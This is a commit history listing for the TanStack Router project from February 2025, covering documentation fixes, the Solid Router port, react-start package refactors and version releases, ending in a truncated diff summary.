docs: Provide default RegisteredRouter type in type-utilities examples (#3604)
The docs don't provide the default `RegisteredRouter` assignment for all
the type generics.
2025-02-28 12:39:08 +01:00
Jon Sun
d467952025
fix(react-start-client): export ServerFnResponseType type (#3605)
Example
```
import { createMiddleware } from "@tanstack/react-start";

export const middleware = createMiddleware();
```

Issue
```
The inferred type of middleware cannot be named without a reference to ../../../../node_modules/@tanstack/react-start-client/dist/esm/createServerFn . This is likely not portable. A type annotation is necessary.
```

Solution
exporting `ServerFnResponseType` resolves this.
2025-02-28 12:38:13 +01:00
Russ Painter
b125dd5de8
Documentation proofreading (#3603)
Just some typos and a clarification in the docs.
2025-02-28 12:38:02 +01:00
Sean Cassiere
8ebf6a7fab
chore(examples): move from "layout" to "pathlessLayout" (#3600) 2025-02-28 16:17:26 +13:00
Tanner Linsley
41cefb7982 release: v1.112.0 2025-02-27 22:55:32 +00:00
Manuel Schiller
dda8d65ff1
feat(start): allow to return raw response from server function (#3532)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-02-27 23:54:08 +01:00
Sean Cassiere
5b6fd04ec4
docs: differentiate between "layout" and "pathless layout" routes (#3599) 2025-02-28 11:43:21 +13:00
Tanner Linsley
65b2fbbd5d release: v1.111.15 2025-02-27 21:35:56 +00:00
Manuel Schiller
fce71c534e
fix(react-start-client): execute head and scripts after custom hydration (#3594) 2025-02-27 22:31:34 +01:00
Tanner Linsley
f76e3721c6 release: v1.111.14 2025-02-27 20:52:51 +00:00
Brenley Dueck
24add745f6
fix(solid-router): remove delete linkProps.disabled (#3592) 2025-02-28 09:48:57 +13:00
Sean Cassiere
f96a102347
chore(root): bump tinyglobby to 0.2.12 (#3596) 2025-02-28 09:10:37 +13:00
Tanner Linsley
ff4af36fca release: v1.111.13 2025-02-27 13:36:22 +00:00
Birk Skyum
dc4adfaf60
docs(solid-router) fix examples that import workspace packages (#3590)
Follow up to
- https://github.com/TanStack/router/pull/3585

@SeanCassiere the new examples import from workspace which breaks when
opening them in stackblitz in the docs.

This import the published versions, so it works

I also cleaned up references to react router devtools
2025-02-27 14:31:44 +01:00
Iha Shin (신의하)
e1b5f07838
fix(solid-router): properly load components on lazy routes (#3589)
This fixes lazy routes on Solid Router, by waiting for loading the
component using `createResource()` instead of throwing a promise.
2025-02-27 14:31:00 +01:00
Birk Skyum
87d1d9e5b2
fix(solid-router): use createResource and Show in Await (#3591)
We can rely on Solid for this, so we don't throw in promises
2025-02-27 14:30:51 +01:00
Robert Soriano
334ed7e67d
chore: Bump @clerk/tanstack-start dependencies to 0.11.0 (#3582)
This PR bumps `@clerk/tanstack-start` version to
[0.11.0](https://github.com/clerk/javascript/releases/tag/%40clerk%2Ftanstack-start%400.11.0)
which has a peer dependency of the updated `@tanstack/react-start`
package
2025-02-27 10:12:29 +01:00
Sean Cassiere
6e5cf1f603
chore(examples): add more file-based solid-router examples (#3585) 2025-02-27 14:26:11 +13:00
Sean Cassiere
4c9eecd8d3
docs(solid-router): missing steps for tsconfig.json (#3584) 2025-02-27 13:31:02 +13:00
KoolieKangarooMjolner
de44ad7b78
docs(react-router): update import from viteReact to react (#3574)
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-02-27 13:19:00 +13:00
Tom Hackshaw
82b7c747b6
chore(examples): spelling error on Start Convex Trellaux (#3583) 2025-02-27 13:16:13 +13:00
omar
e2baa29fcc
docs(start): missing syntax snippet from static-prerendering guide (#3581)
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-02-27 09:55:39 +13:00
Vikas Wakde
66991ddfbf
docs: fix path-params guide link in file-naming-conventions.md (#3576)
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-02-27 08:33:42 +13:00
Tanner Linsley
847874648f release: v1.111.12 2025-02-26 10:18:00 +00:00
Manuel Schiller
71acc58835
fix: move to react-start (#3573) 2025-02-26 11:16:23 +01:00
Sean Cassiere
ab9c7f5272
docs(router): cleanup reference page for "file-based-routing" (#3569) 2025-02-26 13:41:21 +13:00
SeanCassiere
5fa2bb21f6
docs(router): rename from "guide" to "guides" 2025-02-26 12:43:40 +13:00
Tanner Linsley
0181ee4e25 release: v1.111.11 2025-02-25 23:35:22 +00:00
Sean Cassiere
74a3a06267
refactor: move routing documentation into its own section (#3567) 2025-02-26 12:33:22 +13:00
Birk Skyum
6279354663
refactor(react-start): rename e2e/start to e2e/react-start (#3565) 2025-02-25 22:37:01 +01:00
Manuel Schiller
0c0af97063 docs: rename to @tanstack/react-start 2025-02-25 22:17:33 +01:00
Tanner Linsley
70a4545d10 release: v1.111.10 2025-02-25 21:12:11 +00:00
Birk Skyum
0cf5e3e846
refactor(react-start): move start packages to react-start (#3563)
move start -> react-start, and keep start as proxy packages for
backwards compat.

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-02-25 22:05:25 +01:00
Tomasz Ducin
98465e1326
docs(router): syntax mistake in "document head management" guide (#3564)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
fixes #3542
2025-02-26 08:05:09 +13:00
Tanner Linsley
b6dfe843de release: v1.111.9 2025-02-25 18:07:58 +00:00
Birk Skyum
e4d26cc953
refactor(start-client, start-server, start-server-functions-fetcher): work towards making agnostic (#3546)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-02-25 19:03:05 +01:00
Tomasz Ducin
9a7e0da4ce
docs: router docs update; fixes #3534 (#3562) 2025-02-25 19:02:42 +01:00
Birk Skyum
4a9d7717dd
chore: add react-router tests to solid-router (#3558) 2025-02-25 23:36:34 +13:00
Tanner Linsley
b2e68bf8f2 release: v1.111.8 2025-02-24 23:06:22 +00:00
Birk Skyum
c56a901610
fix(solid-router): add missing exports from solid-router (#3554)
cc @chorobin
2025-02-24 23:59:37 +01:00
Kyle Gill
3520eab8b3
docs(router): remove inline TOC in routing concepts guide (#3543)
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-02-25 11:30:22 +13:00
Tanner Linsley
e29545523f release: v1.111.7 2025-02-24 22:25:37 +00:00
Christopher Horobin
844b66c795
refactor(router-core): migrate matches and route options to core (#3552)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-02-24 23:17:58 +01:00
Lee
4d35542f98
fix(router-core): allow %25 in path params (#3419)
fixes #3402

---------

Signed-off-by: leesb971204 <leesb971204@gmail.com>
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-02-25 11:13:27 +13:00
Birk Skyum
4cb2531860
fix(router-core,router-plugin) use router-core in router-plugin (#3551) 2025-02-24 21:36:56 +01:00
Birk Skyum
09be8a42ea
fix(router-generator) include ROUTE_MANIFEST_START for solid (#3550)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-02-24 20:13:31 +01:00
Birk Skyum
ed26995d7e
chore(react examples): Add start-bare, and fix code-splitting in start-basic (#3548)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-02-24 19:41:57 +01:00
Tanner Linsley
9e68c421dd release: v1.111.6 2025-02-24 18:38:10 +00:00
Christopher Horobin
b6aa1c81d6
refactor(router-core): move more types to router-core (#3540)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-02-24 19:36:30 +01:00
Birk Skyum
e6be53d017
chore(react-cross-context,solid-cross-context): remove unused cross-context (#3549) 2025-02-24 16:36:15 +01:00
Tanner Linsley
471241ec0b release: v1.111.5 2025-02-24 10:01:09 +00:00
Manuel Schiller
eed83f1ffc
fix: allow getRouterManifest to be async (#3545) 2025-02-24 10:59:26 +01:00
Sean Cassiere
d9eab3d7d6
refactor: autoCodesplitting for all (#3544) 2025-02-24 21:43:55 +13:00
Tanner Linsley
17e5d6fbf2 release: v1.111.4 2025-02-24 07:54:28 +00:00
Brenley Dueck
b6da3ca040
fix: solid-router for ssr (#3541)
Looked at what Tanstack form does and this seems to fix part of the SSR
issue. Doesn't solve the whole thing but gets us partially there.


https://github.com/TanStack/form/blob/main/packages/solid-form/tsconfig.build.json

Fixes part of the problem discussed here
https://github.com/TanStack/router/issues/3521
2025-02-24 08:47:52 +01:00
Tanner Linsley
b9babba8e6 release: v1.111.3 2025-02-23 22:20:12 +00:00
Christopher Horobin
72b505c5d3
refactor(router-core): begin migrating types from react-router and solid-router to router-core (#3538)
Migrates many types over but there is still a lot to do D:

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-02-23 23:18:16 +01:00
Jaga Santagostino
bd73081462
docs(start): fix broken link to router docs (#3539) 2025-02-24 10:09:14 +13:00
Tanner Linsley
8ddc5c6db4 release: v1.111.2 2025-02-23 01:47:52 +00:00
Tanner Linsley
7081bee0b6
fix: global middleware (#3501)
Fixes global middleware via a new `app/global-middleware.ts` file
(configurable path) that is side-loaded automatically into the client
and server-fn environment to ensure registerGlobalMiddleware will run in
both environments

Fixes #3315

---------

Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
2025-02-23 02:45:02 +01:00
Alex McLean
9864b67c86
docs(start): clarify that __root.tsx has two _ characters (#3523) 2025-02-23 12:53:46 +13:00
Manuel Schiller
80f07e0b8a
chore: correct deps (#3530) 2025-02-23 00:16:35 +01:00
Tomasz Ducin
f0b12ffdb5
CONTRIBUTING.md: added missing pnpm exec playwright install (#3527) 2025-02-22 23:47:18 +01:00
Manuel Schiller
6badb718a5
tests: stabilize e2e test (#3528) 2025-02-22 23:35:22 +01:00
Sean Cassiere
76fb478cb0
docs(router): move root guides to "react" and reference in "solid" (#3519) 2025-02-22 22:47:51 +13:00
Tanner Linsley
70921bb179 release: v1.111.1 2025-02-22 04:04:45 +00:00
Birk Skyum
dfecb40128
refactor(start-server-functions-client): make agnostic (#3517)
* make package agnostic

* use .ts
2025-02-22 16:59:51 +13:00
Sean Cassiere
c37d8afd45
docs(router): add existing solid examples (#3516) 2025-02-22 16:13:50 +13:00
Tanner Linsley
a7bb2c6083 release: v1.111.0 2025-02-22 03:10:56 +00:00
Birk Skyum
41f3abce4f
feat(solid-cross-context): add package (#3515)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-02-22 16:06:31 +13:00
Birk Skyum
ffcf23609b
agnostic-start-router-manifest (#3512)
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-02-22 16:05:19 +13:00
Tanner Linsley
c5be30b4ed release: v1.110.3 2025-02-22 03:04:20 +00:00
Birk Skyum
16c3139afc
refactor(start-api-routes): make agnostic to only need router-core (#3511)
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-02-22 16:00:47 +13:00
Tanner Linsley
52e1dc6f91 release: v1.110.2 2025-02-22 03:00:13 +00:00
Birk Skyum
5c76114c74
refactor(start-server-functions-ssr): make agnostic (#3513)
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-02-22 15:55:02 +13:00
Sean Cassiere
8678c30b00
docs(router): backfill guides for solid-router (#3509) 2025-02-22 15:52:50 +13:00
Tanner Linsley
5f660a8352 release: v1.110.1 2025-02-22 02:48:18 +00:00
Birk Skyum
1df29f535e
refactor(start-server-functions-server): make agnostic (#3514) 2025-02-22 15:43:51 +13:00
espada-edalex
5099513449
chore: update 404 route docs for file-based routing (#3506) 2025-02-21 22:54:28 +01:00
Birk Skyum
185f53691e
docs(solid-router): add getting-started pages (#3481)
* add solid installation guide

* ci: apply automated fixes

* remove react native notice

* add quck-start and overview

* solid-router imports

* move the overview to core

* ci: apply automated fixes

* add overview core page

* fix import of solidjs render

* className -> class

* fix solid overview page

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-02-21 13:16:01 -07:00
Tanner Linsley
d372e99dd8 release: v1.110.0 2025-02-21 14:23:56 +00:00
Birk Skyum
ac2b279198
feat(solid-router): final type utilities (#3505) 2025-02-21 15:19:36 +01:00
sai nivas mangu
605faf200e
docs(router): fix missing "of" in "overview.md" (#3502) 2025-02-21 19:20:40 +13:00
espada-edalex
a4619369d9
docs(router): typo in description of "route.tsx" files (#3500) 2025-02-21 19:20:22 +13:00
Tanner Linsley
7018daf2fd release: v1.109.2 2025-02-20 23:34:30 +00:00
Manuel Schiller
cca6a806ee
fix(react-router, solid-router): do not strip search params if search validation fails (#3496) 2025-02-21 00:32:45 +01:00
Jack Herrington
12ab448252
fix: doc fix for createRootRoute (#3487) 2025-02-21 00:10:02 +01:00
Tanner Linsley
7b215ba6e9 release: v1.109.1 2025-02-20 22:18:18 +00:00
Christopher Horobin
7ce39ef6eb
doc: fix headings for type utilities (#3495) 2025-02-20 23:07:11 +01:00
Manuel Schiller
09b7d7d4d5 fix(start-client): do not import from node:fs/promises directly
this breaks when client polyfills node env
instead, destructure the import from `node:fs`
2025-02-20 23:05:47 +01:00
Tanner Linsley
4d5c84548f release: v1.109.0 2025-02-20 21:54:36 +00:00
Christopher Horobin
16a9c9e2bb
feat(react-router): final type utilities (#3485)
* feat(react-router): final type utilities

* docs(react-router): add type utilities docs
2025-02-20 22:52:57 +01:00
Tanner Linsley
b720151c28 release: v1.108.1 2025-02-20 19:05:56 +00:00
Manuel Schiller
fb07a927d7
fix(start-client): preload route chunks prior to hydration (#3493) 2025-02-20 19:58:25 +01:00
Tanner Linsley
1340ccead8 release: v1.108.0 2025-02-20 16:18:10 +00:00
Birk Skyum
ad20a68491
feat(solid-router): Add a SolidJS driver for TanStack Router (#3276)
* copy react-router

* update

* Move forward branch

* cleanup

* cleanup

* add publish

* bump deps

* ci: apply automated fixes

* remove unused imports

* ci: apply automated fixes

* bump  vite plugin solid

* fix imports

* ci: apply automated fixes

* remove react lint from solid-router

* fix types

* ci: apply automated fixes

* add structuralSharing

* downgrade vite plugin solid

* fix scroll-restoration in solid-router

* fix Transitioner

* fix imports from ScrollRestoration

* Fix tests

* Fix more tests

* Remove the react $$typeof

* add accessors to useLocation

* add remountDeps

* cleanup

* remove tanstack/store

* format

* add missing call to setupScrollRestoration

* format

* add optional

* align match component

* make matches a signal

* Bump vite-plugin-solid to stable

* add missing await

* Fix unknown error

* Tweak the tests to call functions

* remove unused vars

* fix lockfile

* Down to 25 failures

* Remove .only

* call search()

* remove the structuralSharing

* fix type test

* fix structuralSharing

* comment out structured sharing validation check

* fix typings

* comment out serialization check

* comment out serialization check

* cleanup

* improve types of useSearch

* fix "when setting search params with 2 parallel navigate calls"

* fix useParams

* fix types

* fix useParams types

* cleanup debug

* fix link data loader

* fix data loader signal

* fix type test

* fix Link "when navigating away from a route with a loader that errors"

* setup on() simpler

* make initial load a createRenderEffect

* Fix some link preload tests

* add accessor to UseMatchRoute

* fix: when navigating to /posts with a beforeLoad that returns context

* call parentRouteId

* re-enable invariant

* fix when navigating from /invoices to ./invoiceId and the current route is /posts/$postId/details

* use memo for prev

* remove browserhistory  workaround

* fix  "after a navigation, should have emitted the "onResolved" event twice"

* skip remount

* add types to useSearch

* fix search middleware

* don't need a getter

* sync react-router

* solid kitchen sink

* add the example to workspace

* lockfile

* fix solid kitchensink name

* add solid template

* fix example

* rename react to solid

* work on example

* add accessor

* fix type tests

* Fix login in example

* Don't destructure

* Fix stuck on pending component

* Fix where loaderData can be undefined

* Use For component

* More refactor

* Hacky way to fix loading spinner

* Fix one test

* Better MatchRoute fix

* Down to 1 failing test

* Fix last test

* cleanup subscription

* lockfile

* eslint

* ci: apply automated fixes

* fix router-core lint

* ci: apply automated fixes

* add e2e test for solid-router

* ci: apply automated fixes

* work on solid-router e2e suites

* fix comment

* use solid-virtualizer

* work on scroll-restauration

* work on scroll-restauration

* skip react-specific useRenderEffect test

* fix errorcomponent being used before it's defined

* set solid target for esbuild

* ci: apply automated fixes

* fix rspack tests

* fix query tets

* add solid-query example

* use memo for post

* add memo for posts

* fix example

* add jsx compiler flags to esbuild commands

* add esbuild-plugin-solid

* Fix some e2e

* ci: apply automated fixes

* port #3423 from react-router

* fix useLoaderData test-d

* add codeSplitGroupings

* Scroll restoration fixes

* add asset headcontent script

* remove solid-router-copy

* fix react use

* fix scroll restoration test

* skip esbuild because it's broken in react-router

* wait for timeout

* update scroll-restoration to match react

* useLocation

* use on() in match

* align useNavigate with react-router

* lockfile

* fix Scripts test

* align __TSR_SSR__ in ScriptOnce

* remove solid-router from publish

* lint

* ci: apply automated fixes

* align to react-router

* port over "exclude props from state equality check to prevent history push for equal url and state"

* align with react-router

* add shouldThrow

* fix typePrimitives

* use searchStr to fix the search middleware

* ci: add solid-router to the labeler

* use patched vite-plugin-solid

* eslint

* ci: apply automated fixes

* use vite-plugin-solid 2.11.2

* remove only modifier

* move vite-plugin-solid peerDep to router-plugin

* use latest vite-plugin-solid

* move vitest to root

* bump vitest

* revert onRendered

* lint

* add to publish

* fix scroll restoration

* ci: apply automated fixes

* align version with react-router

* sync to react-router

* sync with react-router

* sync navigate tests to react-router

* ci: apply automated fixes

* use Solid.JSX.Element consistently instead of Solid.JSXElement

* remove irrelevant test

* ci: apply automated fixes

* remove unused suite

* lint

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Brenley Dueck <brenleydueck@gmail.com>
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-02-20 17:11:39 +01:00
David Burles
b299ee8dae
docs(router): update notFound whole page example (#3466) 2025-02-20 00:57:38 +13:00
Tanner Linsley
fb071895dd release: v1.107.0 2025-02-19 01:03:37 +00:00
Manuel Schiller
391fbadac3
feat(start): add AbortSignal for server functions (#3477) 2025-02-19 01:49:53 +01:00
Tanner Linsley
db9047c99c release: v1.106.0 2025-02-18 18:28:29 +00:00
Ben Durrant
3abf4c19f7
fix(start,router): Change DCE so it only affects *newly* dead code (#3422)
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-02-18 19:20:52 +01:00
Ben Durrant
47614bb252
fix(start): ensure generic h3 functions remain generic, including new overloads (#3285) 2025-02-18 19:20:38 +01:00
Ryan Gillie
8ba5e77b8f
feat(react-router-with-query): Handle redirects thrown inside mutations/queries. (#3460)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-02-18 19:20:25 +01:00
Manuel Schiller
4e8cc040c9 tests(react-router): import locally in test 2025-02-18 19:19:27 +01:00
Manuel Schiller
c0f2b82f7b fix(react-router): avoid empty script tag if scroll restoration is disabled 2025-02-18 19:19:27 +01:00
Tanner Linsley
83b8ea9e37 release: v1.105.5 2025-02-18 16:44:03 +00:00
Christopher Horobin
2dd5b95a6a
refactor: remove clientAfter (#3426)
* refactor: remove clientAfter

* perf(start): add middleware types interface to avoid structural comparison

* docs(start): update to include inferring context from server to client
2025-02-18 17:37:56 +01:00
Manuel Schiller
0277309b1b
fix(react-router): only navigate once in StrictMode (#3465) 2025-02-18 02:10:05 +01:00
Julius Marminge
ea2c4add34
trpc queryoptions (#3464) 2025-02-17 18:04:15 -07:00
Tanner Linsley
bcfcc99aea release: v1.105.4 2025-02-17 23:58:13 +00:00
Manuel Schiller
63ea664091
fix: propagate cookies from server functions during SSR (#3463)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-02-18 00:56:43 +01:00
Manuel Schiller
4252fdc51f
tests: move e2e server functions tests into dedicated project (#3454)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-02-16 22:20:15 +01:00
13786 changed files with 920031 additions and 115665 deletions

31
.gitignore vendored

Some files were not shown because too many files have changed in this diff Show more